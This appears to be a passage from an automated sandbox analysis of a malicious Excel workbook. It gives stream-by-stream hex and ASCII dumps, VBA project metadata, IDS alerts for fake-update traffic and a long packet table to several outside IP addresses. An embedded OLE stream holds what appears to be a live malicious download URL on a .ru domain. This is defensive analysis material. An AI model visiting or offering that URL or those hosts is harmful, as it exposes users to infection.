Data Raw:	01 00 fe ff 03 0a 00 00 ff ff ff ff 30 08 02 00 00 00 00 00 c0 00 00 00 00 00 00 46 21 00 00 00 4d 69 63 72 6f 73 6f 66 74 20 4f 66 66 69 63 65 20 45 78 63 65 6c 20 57 6f 72 6b 73 68 65 65 74 00 0a 00 00 00 45 78 63 65 6c 4d 4c 31 32 00 0f 00 00 00 45 78 63 65 6c 2e 53 68 65 65 74 2e 31 32 00 f4 39 b2 71 00 00 00 00 00 00 00 00 00 00 00 00

Stream Path: MBD00C9763A/MBD00321A49/Package, File Type: Microsoft Excel 2007+, Stream Size: 13665

General
Stream Path:	MBD00C9763A/MBD00321A49/Package
CLSID:
File Type:	Microsoft Excel 2007+
Stream Size:	13665
Entropy:	7.1661074658165225
Base64 Encoded:	True
Data ASCII:	P K . . . . . . . . . . ! . . ~ . . . . . . . . . [ C o n t e n t _ T y p e s ] . x m l . ( . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Data Raw:	50 4b 03 04 14 00 06 00 08 00 00 00 21 00 c8 9d a8 db 7e 01 00 00 85 05 00 00 13 00 cf 01 5b 43 6f 6e 74 65 6e 74 5f 54 79 70 65 73 5d 2e 78 6d 6c 20 a2 cb 01 28 a0 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Stream Path: MBD00C9763A/Workbook, File Type: Applesoft BASIC program data, first line number 16, Stream Size: 392615

General
Stream Path:	MBD00C9763A/Workbook
CLSID:
File Type:	Applesoft BASIC program data, first line number 16
Stream Size:	392615
Entropy:	7.73377528201003
Base64 Encoded:	True
Data ASCII:	. . . . . . . . . . . . . . . . . . . . . . . . . . . . . \\ . p . . . . 9 1 9 7 4 B . . . . a . . . . . . . . = . . . . . . . . . . . . . . . . . . . . ? . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . = . . . . . h : . 9 . . . . . . . X . @ . . . . . . . . . . " . . . . . . . . . . . . .
Data Raw:	09 08 10 00 00 06 05 00 ab 1f cd 07 c1 00 01 00 06 04 00 00 e1 00 02 00 b0 04 c1 00 02 00 00 00 e2 00 00 00 5c 00 70 00 05 00 00 39 31 39 37 34 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20

Stream Path: MBD00C9763B/\x1Ole, File Type: data, Stream Size: 662

General
Stream Path:	MBD00C9763B/\x1Ole
CLSID:
File Type:	data
Stream Size:	662
Entropy:	5.089050631517283
Base64 Encoded:	False
Data ASCII:	. . . . C . i x . . . . . . . . . . . . . . . y . . . K . . . . h . t . t . p . s . : . / . / . k . r . y . x . . . r . u . / . e . 3 . E . P . l . 0 . ? . & . c . e . r . t . i . f . i . c . a . t . i . o . n . = . e . x . c . l . u . s . i . v . e . & . k . i . t . t . y . = . t . h . i . n . k . a . b . l . e . . . D . A . m w P # . \| - . - t # . + E X 3 a R { % . N o J 7 . Q E \| . % v ] . . . a l \| ! h E d . . z L . . . ; R F . . . . . . . . . . . . . . . . F . . . x . c . q . 0 . h . H . Y . X . 2 .
Data Raw:	01 00 00 02 b3 d0 c4 43 90 0f 69 78 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 00 e0 c9 ea 79 f9 ba ce 11 8c 82 00 aa 00 4b a9 0b ec 00 00 00 68 00 74 00 74 00 70 00 73 00 3a 00 2f 00 2f 00 6b 00 72 00 79 00 78 00 2e 00 72 00 75 00 2f 00 65 00 33 00 45 00 50 00 6c 00 30 00 3f 00 26 00 63 00 65 00 72 00 74 00 69 00 66 00 69 00 63 00 61 00 74 00 69 00 6f 00 6e 00 3d 00 65 00 78 00

Stream Path: Workbook, File Type: Applesoft BASIC program data, first line number 16, Stream Size: 96243

General
Stream Path:	Workbook
CLSID:
File Type:	Applesoft BASIC program data, first line number 16
Stream Size:	96243
Entropy:	7.9920296999361415
Base64 Encoded:	True
Data ASCII:	. . . . . . . . . . . . . . . . . / . 6 . . . . . . . M q . n 1 . w _ E U ? R . . . d H V . . . $ & } / . . . . . . . . . . w . . . \\ . p . u ^ . . . . ^ Q . & . 1 % g ] A [ g . L O ~ C q . . L H . V F I . j s , . S z i Z a 9 . A $ . J . # . T - # * . G p A . + 4 . . B . . . a . . . . . . = . . . @ . . . . . . / 3 . . . . . 3 . . . . . @ . . . . . W . . . . s a . . . . e . . . m = . . . . P . 9 @ . _ . @ . . . . x . . . . " . . . . . . . . e \| . . . j . . . 9 ` 1 . . . . [ . ) . _ A . . . [ ' . . X 1 . . .
Data Raw:	09 08 10 00 00 06 05 00 ab 1f cd 07 c1 00 01 00 06 04 00 00 2f 00 36 00 01 00 01 00 01 00 4d b1 71 1e 6e c0 fc 9d f1 c6 fe a7 e0 92 a5 d5 31 c3 87 77 5f 45 55 3f df 52 0c c8 93 0b 64 48 56 0c 0d d0 af 24 de 26 7d fe 84 84 2f b7 fe e8 87 00 00 00 e1 00 02 00 b0 04 c1 00 02 00 77 ad e2 00 00 00 5c 00 70 00 75 86 5e 86 d3 93 1d e2 f2 b5 16 d9 b1 91 5e 51 c9 0b 91 26 07 85 31 25 83 67

Stream Path: _VBA_PROJECT_CUR/PROJECT, File Type: ASCII text, with CRLF line terminators, Stream Size: 525

General
Stream Path:	_VBA_PROJECT_CUR/PROJECT
CLSID:
File Type:	ASCII text, with CRLF line terminators
Stream Size:	525
Entropy:	5.197714347380842
Base64 Encoded:	True
Data ASCII:	I D = " { 8 F 3 A 6 E 9 F - 1 9 9 F - 4 9 5 E - B 5 F B - B E 8 7 6 4 8 B 0 E 8 1 } " . . D o c u m e n t = T h i s W o r k b o o k / & H 0 0 0 0 0 0 0 0 . . D o c u m e n t = S h e e t 1 / & H 0 0 0 0 0 0 0 0 . . D o c u m e n t = S h e e t 2 / & H 0 0 0 0 0 0 0 0 . . D o c u m e n t = S h e e t 3 / & H 0 0 0 0 0 0 0 0 . . N a m e = " V B A P r o j e c t " . . H e l p C o n t e x t I D = " 0 " . . V e r s i o n C o m p a t i b l e 3 2 = " 3 9 3 2 2 2 0 0 0 " . . C M G = " 5 2 5 0 4 D D 1 0 F D 5 0 F D 5 0
Data Raw:	49 44 3d 22 7b 38 46 33 41 36 45 39 46 2d 31 39 39 46 2d 34 39 35 45 2d 42 35 46 42 2d 42 45 38 37 36 34 38 42 30 45 38 31 7d 22 0d 0a 44 6f 63 75 6d 65 6e 74 3d 54 68 69 73 57 6f 72 6b 62 6f 6f 6b 2f 26 48 30 30 30 30 30 30 30 30 0d 0a 44 6f 63 75 6d 65 6e 74 3d 53 68 65 65 74 31 2f 26 48 30 30 30 30 30 30 30 30 0d 0a 44 6f 63 75 6d 65 6e 74 3d 53 68 65 65 74 32 2f 26 48 30 30 30

Stream Path: _VBA_PROJECT_CUR/PROJECTwm, File Type: data, Stream Size: 104

General
Stream Path:	_VBA_PROJECT_CUR/PROJECTwm
CLSID:
File Type:	data
Stream Size:	104
Entropy:	3.0488640812019017
Base64 Encoded:	False
Data ASCII:	T h i s W o r k b o o k . T . h . i . s . W . o . r . k . b . o . o . k . . . S h e e t 1 . S . h . e . e . t . 1 . . . S h e e t 2 . S . h . e . e . t . 2 . . . S h e e t 3 . S . h . e . e . t . 3 . . . . .
Data Raw:	54 68 69 73 57 6f 72 6b 62 6f 6f 6b 00 54 00 68 00 69 00 73 00 57 00 6f 00 72 00 6b 00 62 00 6f 00 6f 00 6b 00 00 00 53 68 65 65 74 31 00 53 00 68 00 65 00 65 00 74 00 31 00 00 00 53 68 65 65 74 32 00 53 00 68 00 65 00 65 00 74 00 32 00 00 00 53 68 65 65 74 33 00 53 00 68 00 65 00 65 00 74 00 33 00 00 00 00 00

Stream Path: _VBA_PROJECT_CUR/VBA/_VBA_PROJECT, File Type: data, Stream Size: 2644

General
Stream Path:	_VBA_PROJECT_CUR/VBA/_VBA_PROJECT
CLSID:
File Type:	data
Stream Size:	2644
Entropy:	3.992573102057176
Base64 Encoded:	False
Data ASCII:	a . . . . . @ . . . . . . . . . . . . . . . . . . . . . . . . * . \\ . G . { . 0 . 0 . 0 . 2 . 0 . 4 . E . F . - . 0 . 0 . 0 . 0 . - . 0 . 0 . 0 . 0 . - . C . 0 . 0 . 0 . - . 0 . 0 . 0 . 0 . 0 . 0 . 0 . 0 . 0 . 0 . 4 . 6 . } . # . 4 . . . 0 . # . 9 . # . C . : . \\ . P . R . O . G . R . A . ~ . 2 . \\ . C . O . M . M . O . N . ~ . 1 . \\ . M . I . C . R . O . S . ~ . 1 . \\ . V . B . A . \\ . V . B . A . 6 . \\ . V . B . E . 6 . . . D . L . L . # . V . i . s . u . a . l . . B . a . s . i . c . . F . o . r .
Data Raw:	cc 61 88 00 00 01 00 ff 09 40 00 00 09 04 00 00 e4 04 01 00 00 00 00 00 00 00 00 00 01 00 04 00 02 00 fa 00 2a 00 5c 00 47 00 7b 00 30 00 30 00 30 00 32 00 30 00 34 00 45 00 46 00 2d 00 30 00 30 00 30 00 30 00 2d 00 30 00 30 00 30 00 30 00 2d 00 43 00 30 00 30 00 30 00 2d 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 34 00 36 00 7d 00 23 00 34 00 2e 00 30 00 23 00

Stream Path: _VBA_PROJECT_CUR/VBA/dir, File Type: data, Stream Size: 553

General
Stream Path:	_VBA_PROJECT_CUR/VBA/dir
CLSID:
File Type:	data
Stream Size:	553
Entropy:	6.360492237373647
Base64 Encoded:	True
Data ASCII:	. % . . . . . . . . 0 * . . . . p . . H . . . . d . . . . . . . V B A P r o j e c t . . 4 . . @ . . j . . . = . . . . r . . . . . . . . . . i . . . . J < . . . . . r s t d o l e > . . . s . t . d . o . l . e . . . h . % . ^ . . * \\ G { 0 0 0 2 0 4 3 0 - . . . . . C . . . . . . 0 0 4 . 6 } # 2 . 0 # 0 . # C : \\ W i n d . o w s \\ S y s W O W 6 4 \\ . e 2 . . t l b # O L E . A u t o m a t i . o n . ` . . E O f f D i c E O . f . i . c E . . E . 2 D F 8 D 0 4 C . - 5 B F A - 1 0 1 B - B D E 5 E A A C 4 . 2 E
Data Raw:	01 25 b2 80 01 00 04 00 00 00 01 00 30 2a 02 02 90 09 00 70 14 06 48 03 00 82 02 00 64 e4 04 04 00 0a 00 1c 00 56 42 41 50 72 6f 6a 65 88 63 74 05 00 34 00 00 40 02 14 6a 06 02 0a 3d 02 0a 07 02 72 01 14 08 05 06 12 09 02 12 e7 1d ef 69 0d 94 00 0c 02 4a 3c 02 0a 16 00 01 72 80 73 74 64 6f 6c 65 3e 02 19 00 73 00 74 00 64 00 6f 00 80 6c 00 65 00 0d 00 68 00 25 02 5e 00 03 2a 5c 47

Network Behavior

Download Network PCAP: filtered – full

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-03-17T09:29:23.704196+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	49701	13.107.246.60	443	TCP
2025-03-17T09:29:30.560221+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	49704	13.107.246.60	443	TCP
2025-03-17T09:29:30.560706+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	49703	13.107.246.60	443	TCP

Network Port Distribution

Total Packets: 213
• 443 (HTTPS)
• 80 (HTTP)
• 53 (DNS)

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Mar 17, 2025 09:29:07.357548952 CET	49697	443	192.168.2.7	188.225.72.170
Mar 17, 2025 09:29:07.357589006 CET	443	49697	188.225.72.170	192.168.2.7
Mar 17, 2025 09:29:07.357669115 CET	49697	443	192.168.2.7	188.225.72.170
Mar 17, 2025 09:29:07.357973099 CET	49697	443	192.168.2.7	188.225.72.170
Mar 17, 2025 09:29:07.357985020 CET	443	49697	188.225.72.170	192.168.2.7
Mar 17, 2025 09:29:08.044223070 CET	443	49697	188.225.72.170	192.168.2.7
Mar 17, 2025 09:29:08.044364929 CET	49697	443	192.168.2.7	188.225.72.170
Mar 17, 2025 09:29:08.048297882 CET	49697	443	192.168.2.7	188.225.72.170
Mar 17, 2025 09:29:08.048314095 CET	443	49697	188.225.72.170	192.168.2.7
Mar 17, 2025 09:29:08.048563004 CET	443	49697	188.225.72.170	192.168.2.7
Mar 17, 2025 09:29:08.048612118 CET	49697	443	192.168.2.7	188.225.72.170
Mar 17, 2025 09:29:08.048952103 CET	49697	443	192.168.2.7	188.225.72.170
Mar 17, 2025 09:29:08.092334986 CET	443	49697	188.225.72.170	192.168.2.7
Mar 17, 2025 09:29:08.358814955 CET	443	49697	188.225.72.170	192.168.2.7
Mar 17, 2025 09:29:08.358877897 CET	49697	443	192.168.2.7	188.225.72.170
Mar 17, 2025 09:29:08.358885050 CET	443	49697	188.225.72.170	192.168.2.7
Mar 17, 2025 09:29:08.358935118 CET	49697	443	192.168.2.7	188.225.72.170
Mar 17, 2025 09:29:08.358961105 CET	443	49697	188.225.72.170	192.168.2.7
Mar 17, 2025 09:29:08.358999014 CET	49697	443	192.168.2.7	188.225.72.170
Mar 17, 2025 09:29:08.362670898 CET	49697	443	192.168.2.7	188.225.72.170
Mar 17, 2025 09:29:08.362684011 CET	443	49697	188.225.72.170	192.168.2.7
Mar 17, 2025 09:29:08.364756107 CET	49698	80	192.168.2.7	198.12.89.24
Mar 17, 2025 09:29:08.369539022 CET	80	49698	198.12.89.24	192.168.2.7
Mar 17, 2025 09:29:08.369626045 CET	49698	80	192.168.2.7	198.12.89.24
Mar 17, 2025 09:29:08.369787931 CET	49698	80	192.168.2.7	198.12.89.24
Mar 17, 2025 09:29:08.374425888 CET	80	49698	198.12.89.24	192.168.2.7
Mar 17, 2025 09:29:08.853543997 CET	80	49698	198.12.89.24	192.168.2.7
Mar 17, 2025 09:29:08.853570938 CET	80	49698	198.12.89.24	192.168.2.7
Mar 17, 2025 09:29:08.853667021 CET	49698	80	192.168.2.7	198.12.89.24
Mar 17, 2025 09:29:13.865185022 CET	80	49698	198.12.89.24	192.168.2.7
Mar 17, 2025 09:29:13.865250111 CET	49698	80	192.168.2.7	198.12.89.24
Mar 17, 2025 09:29:22.836024046 CET	49701	443	192.168.2.7	13.107.246.60
Mar 17, 2025 09:29:22.836061954 CET	443	49701	13.107.246.60	192.168.2.7
Mar 17, 2025 09:29:22.836199999 CET	49701	443	192.168.2.7	13.107.246.60
Mar 17, 2025 09:29:22.837202072 CET	49701	443	192.168.2.7	13.107.246.60
Mar 17, 2025 09:29:22.837214947 CET	443	49701	13.107.246.60	192.168.2.7
Mar 17, 2025 09:29:23.704132080 CET	443	49701	13.107.246.60	192.168.2.7
Mar 17, 2025 09:29:23.704195976 CET	49701	443	192.168.2.7	13.107.246.60
Mar 17, 2025 09:29:23.706312895 CET	49701	443	192.168.2.7	13.107.246.60
Mar 17, 2025 09:29:23.706321001 CET	443	49701	13.107.246.60	192.168.2.7
Mar 17, 2025 09:29:23.706605911 CET	443	49701	13.107.246.60	192.168.2.7
Mar 17, 2025 09:29:23.707956076 CET	49701	443	192.168.2.7	13.107.246.60
Mar 17, 2025 09:29:23.748323917 CET	443	49701	13.107.246.60	192.168.2.7
Mar 17, 2025 09:29:23.856825113 CET	443	49701	13.107.246.60	192.168.2.7
Mar 17, 2025 09:29:23.856843948 CET	443	49701	13.107.246.60	192.168.2.7
Mar 17, 2025 09:29:23.856880903 CET	443	49701	13.107.246.60	192.168.2.7
Mar 17, 2025 09:29:23.856929064 CET	49701	443	192.168.2.7	13.107.246.60
Mar 17, 2025 09:29:23.856950998 CET	443	49701	13.107.246.60	192.168.2.7
Mar 17, 2025 09:29:23.857052088 CET	49701	443	192.168.2.7	13.107.246.60
Mar 17, 2025 09:29:23.943917990 CET	443	49701	13.107.246.60	192.168.2.7
Mar 17, 2025 09:29:23.943934917 CET	443	49701	13.107.246.60	192.168.2.7
Mar 17, 2025 09:29:23.943978071 CET	49701	443	192.168.2.7	13.107.246.60
Mar 17, 2025 09:29:23.943990946 CET	443	49701	13.107.246.60	192.168.2.7
Mar 17, 2025 09:29:23.944005013 CET	49701	443	192.168.2.7	13.107.246.60
Mar 17, 2025 09:29:23.944022894 CET	49701	443	192.168.2.7	13.107.246.60
Mar 17, 2025 09:29:23.946507931 CET	443	49701	13.107.246.60	192.168.2.7
Mar 17, 2025 09:29:23.946532011 CET	443	49701	13.107.246.60	192.168.2.7
Mar 17, 2025 09:29:23.946561098 CET	49701	443	192.168.2.7	13.107.246.60
Mar 17, 2025 09:29:23.946567059 CET	443	49701	13.107.246.60	192.168.2.7
Mar 17, 2025 09:29:23.946595907 CET	49701	443	192.168.2.7	13.107.246.60
Mar 17, 2025 09:29:23.946609974 CET	49701	443	192.168.2.7	13.107.246.60
Mar 17, 2025 09:29:24.032828093 CET	443	49701	13.107.246.60	192.168.2.7
Mar 17, 2025 09:29:24.032847881 CET	443	49701	13.107.246.60	192.168.2.7
Mar 17, 2025 09:29:24.032896996 CET	49701	443	192.168.2.7	13.107.246.60
Mar 17, 2025 09:29:24.032911062 CET	443	49701	13.107.246.60	192.168.2.7
Mar 17, 2025 09:29:24.032938004 CET	49701	443	192.168.2.7	13.107.246.60
Mar 17, 2025 09:29:24.032949924 CET	49701	443	192.168.2.7	13.107.246.60
Mar 17, 2025 09:29:24.034174919 CET	443	49701	13.107.246.60	192.168.2.7
Mar 17, 2025 09:29:24.034198046 CET	443	49701	13.107.246.60	192.168.2.7
Mar 17, 2025 09:29:24.034245014 CET	49701	443	192.168.2.7	13.107.246.60
Mar 17, 2025 09:29:24.034250021 CET	443	49701	13.107.246.60	192.168.2.7
Mar 17, 2025 09:29:24.034281969 CET	49701	443	192.168.2.7	13.107.246.60
Mar 17, 2025 09:29:24.034302950 CET	49701	443	192.168.2.7	13.107.246.60
Mar 17, 2025 09:29:24.035115957 CET	443	49701	13.107.246.60	192.168.2.7
Mar 17, 2025 09:29:24.035140991 CET	443	49701	13.107.246.60	192.168.2.7
Mar 17, 2025 09:29:24.035196066 CET	49701	443	192.168.2.7	13.107.246.60
Mar 17, 2025 09:29:24.035202026 CET	443	49701	13.107.246.60	192.168.2.7
Mar 17, 2025 09:29:24.035250902 CET	49701	443	192.168.2.7	13.107.246.60
Mar 17, 2025 09:29:24.036130905 CET	443	49701	13.107.246.60	192.168.2.7
Mar 17, 2025 09:29:24.036149979 CET	443	49701	13.107.246.60	192.168.2.7
Mar 17, 2025 09:29:24.036183119 CET	49701	443	192.168.2.7	13.107.246.60
Mar 17, 2025 09:29:24.036189079 CET	443	49701	13.107.246.60	192.168.2.7
Mar 17, 2025 09:29:24.036222935 CET	49701	443	192.168.2.7	13.107.246.60
Mar 17, 2025 09:29:24.036236048 CET	49701	443	192.168.2.7	13.107.246.60
Mar 17, 2025 09:29:24.123402119 CET	443	49701	13.107.246.60	192.168.2.7
Mar 17, 2025 09:29:24.123420954 CET	443	49701	13.107.246.60	192.168.2.7
Mar 17, 2025 09:29:24.123467922 CET	49701	443	192.168.2.7	13.107.246.60
Mar 17, 2025 09:29:24.123477936 CET	443	49701	13.107.246.60	192.168.2.7
Mar 17, 2025 09:29:24.123528957 CET	49701	443	192.168.2.7	13.107.246.60
Mar 17, 2025 09:29:24.123569965 CET	49701	443	192.168.2.7	13.107.246.60
Mar 17, 2025 09:29:24.124241114 CET	443	49701	13.107.246.60	192.168.2.7
Mar 17, 2025 09:29:24.124257088 CET	443	49701	13.107.246.60	192.168.2.7
Mar 17, 2025 09:29:24.124324083 CET	49701	443	192.168.2.7	13.107.246.60
Mar 17, 2025 09:29:24.124329090 CET	443	49701	13.107.246.60	192.168.2.7
Mar 17, 2025 09:29:24.124418020 CET	49701	443	192.168.2.7	13.107.246.60
Mar 17, 2025 09:29:24.124831915 CET	443	49701	13.107.246.60	192.168.2.7
Mar 17, 2025 09:29:24.124849081 CET	443	49701	13.107.246.60	192.168.2.7
Mar 17, 2025 09:29:24.124911070 CET	49701	443	192.168.2.7	13.107.246.60
Mar 17, 2025 09:29:24.124917030 CET	443	49701	13.107.246.60	192.168.2.7
Mar 17, 2025 09:29:24.125026941 CET	49701	443	192.168.2.7	13.107.246.60
Mar 17, 2025 09:29:24.125415087 CET	443	49701	13.107.246.60	192.168.2.7
Mar 17, 2025 09:29:24.125430107 CET	443	49701	13.107.246.60	192.168.2.7
Mar 17, 2025 09:29:24.125484943 CET	49701	443	192.168.2.7	13.107.246.60
Mar 17, 2025 09:29:24.125490904 CET	443	49701	13.107.246.60	192.168.2.7
Mar 17, 2025 09:29:24.125581980 CET	49701	443	192.168.2.7	13.107.246.60
Mar 17, 2025 09:29:24.136719942 CET	443	49701	13.107.246.60	192.168.2.7
Mar 17, 2025 09:29:24.136745930 CET	443	49701	13.107.246.60	192.168.2.7
Mar 17, 2025 09:29:24.136778116 CET	49701	443	192.168.2.7	13.107.246.60
Mar 17, 2025 09:29:24.136785030 CET	443	49701	13.107.246.60	192.168.2.7
Mar 17, 2025 09:29:24.136800051 CET	49701	443	192.168.2.7	13.107.246.60
Mar 17, 2025 09:29:24.137001991 CET	49701	443	192.168.2.7	13.107.246.60
Mar 17, 2025 09:29:24.139905930 CET	443	49701	13.107.246.60	192.168.2.7
Mar 17, 2025 09:29:24.139925957 CET	443	49701	13.107.246.60	192.168.2.7
Mar 17, 2025 09:29:24.139969110 CET	49701	443	192.168.2.7	13.107.246.60
Mar 17, 2025 09:29:24.139974117 CET	443	49701	13.107.246.60	192.168.2.7
Mar 17, 2025 09:29:24.140002966 CET	49701	443	192.168.2.7	13.107.246.60
Mar 17, 2025 09:29:24.140022993 CET	49701	443	192.168.2.7	13.107.246.60
Mar 17, 2025 09:29:24.140171051 CET	443	49701	13.107.246.60	192.168.2.7
Mar 17, 2025 09:29:24.140189886 CET	443	49701	13.107.246.60	192.168.2.7
Mar 17, 2025 09:29:24.140242100 CET	49701	443	192.168.2.7	13.107.246.60
Mar 17, 2025 09:29:24.140245914 CET	443	49701	13.107.246.60	192.168.2.7
Mar 17, 2025 09:29:24.140352011 CET	49701	443	192.168.2.7	13.107.246.60
Mar 17, 2025 09:29:24.208482027 CET	443	49701	13.107.246.60	192.168.2.7
Mar 17, 2025 09:29:24.208499908 CET	443	49701	13.107.246.60	192.168.2.7
Mar 17, 2025 09:29:24.208561897 CET	49701	443	192.168.2.7	13.107.246.60
Mar 17, 2025 09:29:24.208587885 CET	443	49701	13.107.246.60	192.168.2.7
Mar 17, 2025 09:29:24.208719015 CET	49701	443	192.168.2.7	13.107.246.60
Mar 17, 2025 09:29:24.214297056 CET	443	49701	13.107.246.60	192.168.2.7
Mar 17, 2025 09:29:24.214313984 CET	443	49701	13.107.246.60	192.168.2.7
Mar 17, 2025 09:29:24.214353085 CET	49701	443	192.168.2.7	13.107.246.60
Mar 17, 2025 09:29:24.214360952 CET	443	49701	13.107.246.60	192.168.2.7
Mar 17, 2025 09:29:24.214406013 CET	49701	443	192.168.2.7	13.107.246.60
Mar 17, 2025 09:29:24.215065002 CET	443	49701	13.107.246.60	192.168.2.7
Mar 17, 2025 09:29:24.215087891 CET	443	49701	13.107.246.60	192.168.2.7
Mar 17, 2025 09:29:24.215133905 CET	49701	443	192.168.2.7	13.107.246.60
Mar 17, 2025 09:29:24.215137959 CET	443	49701	13.107.246.60	192.168.2.7
Mar 17, 2025 09:29:24.215163946 CET	49701	443	192.168.2.7	13.107.246.60
Mar 17, 2025 09:29:24.215178967 CET	49701	443	192.168.2.7	13.107.246.60
Mar 17, 2025 09:29:24.215188980 CET	443	49701	13.107.246.60	192.168.2.7
Mar 17, 2025 09:29:24.215204000 CET	443	49701	13.107.246.60	192.168.2.7
Mar 17, 2025 09:29:24.215261936 CET	49701	443	192.168.2.7	13.107.246.60
Mar 17, 2025 09:29:24.215267897 CET	443	49701	13.107.246.60	192.168.2.7
Mar 17, 2025 09:29:24.215516090 CET	49701	443	192.168.2.7	13.107.246.60
Mar 17, 2025 09:29:24.216007948 CET	443	49701	13.107.246.60	192.168.2.7
Mar 17, 2025 09:29:24.216022015 CET	443	49701	13.107.246.60	192.168.2.7
Mar 17, 2025 09:29:24.216067076 CET	49701	443	192.168.2.7	13.107.246.60
Mar 17, 2025 09:29:24.216072083 CET	443	49701	13.107.246.60	192.168.2.7
Mar 17, 2025 09:29:24.216097116 CET	49701	443	192.168.2.7	13.107.246.60
Mar 17, 2025 09:29:24.216118097 CET	49701	443	192.168.2.7	13.107.246.60
Mar 17, 2025 09:29:24.217060089 CET	443	49701	13.107.246.60	192.168.2.7
Mar 17, 2025 09:29:24.217087030 CET	443	49701	13.107.246.60	192.168.2.7
Mar 17, 2025 09:29:24.217123032 CET	49701	443	192.168.2.7	13.107.246.60
Mar 17, 2025 09:29:24.217128038 CET	443	49701	13.107.246.60	192.168.2.7
Mar 17, 2025 09:29:24.217156887 CET	49701	443	192.168.2.7	13.107.246.60
Mar 17, 2025 09:29:24.217166901 CET	49701	443	192.168.2.7	13.107.246.60
Mar 17, 2025 09:29:24.217968941 CET	443	49701	13.107.246.60	192.168.2.7
Mar 17, 2025 09:29:24.217986107 CET	443	49701	13.107.246.60	192.168.2.7
Mar 17, 2025 09:29:24.218025923 CET	49701	443	192.168.2.7	13.107.246.60
Mar 17, 2025 09:29:24.218040943 CET	443	49701	13.107.246.60	192.168.2.7
Mar 17, 2025 09:29:24.218059063 CET	49701	443	192.168.2.7	13.107.246.60
Mar 17, 2025 09:29:24.218080044 CET	49701	443	192.168.2.7	13.107.246.60
Mar 17, 2025 09:29:24.218708038 CET	443	49701	13.107.246.60	192.168.2.7
Mar 17, 2025 09:29:24.218724012 CET	443	49701	13.107.246.60	192.168.2.7
Mar 17, 2025 09:29:24.218771935 CET	49701	443	192.168.2.7	13.107.246.60
Mar 17, 2025 09:29:24.218786001 CET	443	49701	13.107.246.60	192.168.2.7
Mar 17, 2025 09:29:24.218878984 CET	49701	443	192.168.2.7	13.107.246.60
Mar 17, 2025 09:29:24.304553986 CET	443	49701	13.107.246.60	192.168.2.7
Mar 17, 2025 09:29:24.304578066 CET	443	49701	13.107.246.60	192.168.2.7
Mar 17, 2025 09:29:24.304646015 CET	49701	443	192.168.2.7	13.107.246.60
Mar 17, 2025 09:29:24.304668903 CET	443	49701	13.107.246.60	192.168.2.7
Mar 17, 2025 09:29:24.304845095 CET	49701	443	192.168.2.7	13.107.246.60
Mar 17, 2025 09:29:24.305094004 CET	443	49701	13.107.246.60	192.168.2.7
Mar 17, 2025 09:29:24.305110931 CET	443	49701	13.107.246.60	192.168.2.7
Mar 17, 2025 09:29:24.305159092 CET	49701	443	192.168.2.7	13.107.246.60
Mar 17, 2025 09:29:24.305167913 CET	443	49701	13.107.246.60	192.168.2.7
Mar 17, 2025 09:29:24.305279016 CET	49701	443	192.168.2.7	13.107.246.60
Mar 17, 2025 09:29:24.305432081 CET	443	49701	13.107.246.60	192.168.2.7
Mar 17, 2025 09:29:24.305444956 CET	443	49701	13.107.246.60	192.168.2.7
Mar 17, 2025 09:29:24.305478096 CET	49701	443	192.168.2.7	13.107.246.60
Mar 17, 2025 09:29:24.305484056 CET	443	49701	13.107.246.60	192.168.2.7
Mar 17, 2025 09:29:24.305509090 CET	49701	443	192.168.2.7	13.107.246.60
Mar 17, 2025 09:29:24.305530071 CET	49701	443	192.168.2.7	13.107.246.60
Mar 17, 2025 09:29:24.305919886 CET	443	49701	13.107.246.60	192.168.2.7
Mar 17, 2025 09:29:24.305942059 CET	443	49701	13.107.246.60	192.168.2.7
Mar 17, 2025 09:29:24.305979013 CET	49701	443	192.168.2.7	13.107.246.60
Mar 17, 2025 09:29:24.305985928 CET	443	49701	13.107.246.60	192.168.2.7
Mar 17, 2025 09:29:24.306016922 CET	49701	443	192.168.2.7	13.107.246.60
Mar 17, 2025 09:29:24.306034088 CET	49701	443	192.168.2.7	13.107.246.60
Mar 17, 2025 09:29:24.306305885 CET	443	49701	13.107.246.60	192.168.2.7
Mar 17, 2025 09:29:24.306323051 CET	443	49701	13.107.246.60	192.168.2.7
Mar 17, 2025 09:29:24.306355000 CET	49701	443	192.168.2.7	13.107.246.60
Mar 17, 2025 09:29:24.306360006 CET	443	49701	13.107.246.60	192.168.2.7
Mar 17, 2025 09:29:24.306385040 CET	49701	443	192.168.2.7	13.107.246.60
Mar 17, 2025 09:29:24.306401014 CET	49701	443	192.168.2.7	13.107.246.60
Mar 17, 2025 09:29:24.306785107 CET	443	49701	13.107.246.60	192.168.2.7
Mar 17, 2025 09:29:24.306798935 CET	443	49701	13.107.246.60	192.168.2.7
Mar 17, 2025 09:29:24.306852102 CET	49701	443	192.168.2.7	13.107.246.60
Mar 17, 2025 09:29:24.306858063 CET	443	49701	13.107.246.60	192.168.2.7
Mar 17, 2025 09:29:24.306952000 CET	49701	443	192.168.2.7	13.107.246.60
Mar 17, 2025 09:29:24.307172060 CET	443	49701	13.107.246.60	192.168.2.7
Mar 17, 2025 09:29:24.307188034 CET	443	49701	13.107.246.60	192.168.2.7
